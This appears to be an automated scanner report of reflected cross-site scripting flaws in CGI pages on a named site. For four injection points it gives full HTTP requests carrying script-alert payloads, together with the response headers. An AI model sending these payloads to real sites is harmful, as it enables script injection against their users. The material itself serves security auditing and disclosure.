<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Investors Group - Halifax Region - Consultant Career O ...[SNIP]... programlang=eng&reportlang=eng&page=3&homepage=&wrappers=clients/investorsgrouphalifax.com&header=&footer=&css=&nextpage=http%3A//www.investorsgrouphalifax.com/finish.asp&customcaption=&suppresstitles=ff796"><script>alert(1)</script>73ee1d425ccc4b3f6&pp=&sps=&fromtracker="> ...[SNIP]...
The value of the PACLeftBGColor request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 65734><script>alert(1)</script>80f291d7155 was submitted in the PACLeftBGColor parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cgi-bin/pac.exe?function=CheckPassword&RedirectToASP=1&PACLeftBGColor=F4EDD565734><script>alert(1)</script>80f291d7155&PACTopBGColor=004F72&PACTopFontColor=white HTTP/1.1 Host: www.selfmgmt.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C2%B7%C0%8F%DF%91A;
Response
HTTP/1.1 200 OK Content-Length: 1715 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:22:10 GMT Connection: close
The value of the PACTopBGColor request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 85225><script>alert(1)</script>d647fe078f9 was submitted in the PACTopBGColor parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cgi-bin/pac.exe?function=CheckPassword&RedirectToASP=1&PACLeftBGColor=F4EDD5&PACTopBGColor=004F7285225><script>alert(1)</script>d647fe078f9&PACTopFontColor=white HTTP/1.1 Host: www.selfmgmt.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C2%B7%C0%8F%DF%91A;
Response
HTTP/1.1 200 OK Content-Length: 1715 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:22:11 GMT Connection: close
The value of the PACTopFontColor request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload dd18b><script>alert(1)</script>f127e907cb was submitted in the PACTopFontColor parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cgi-bin/pac.exe?function=CheckPassword&RedirectToASP=1&PACLeftBGColor=F4EDD5&PACTopBGColor=004F72&PACTopFontColor=whitedd18b><script>alert(1)</script>f127e907cb HTTP/1.1 Host: www.selfmgmt.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C2%B7%C0%8F%DF%91A;
Response
HTTP/1.1 200 OK Content-Length: 1714 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:22:13 GMT Connection: close
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7bb0f"><script>alert(1)</script>decf03b948e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /cgi-bin/assessment.exe HTTP/1.1 Host: www.selfmgmt.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: $$Default=%EC%A5%8C%0A%1C%18v%A9%E1Wh4%3C%C2%C5%0F%25%C2%B7%C0%8F%DF%91A; Referer: http://www.google.com/search?hl=en&q=7bb0f"><script>alert(1)</script>decf03b948e
Response
HTTP/1.1 200 OK Content-Length: 17109 Content-Type: text/html Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CUR ADM DEV IVA CONi TELi OTPi OUR BUS UNI" X-Powered-By: ASP.NET Date: Thu, 25 Nov 2010 16:22:04 GMT Connection: close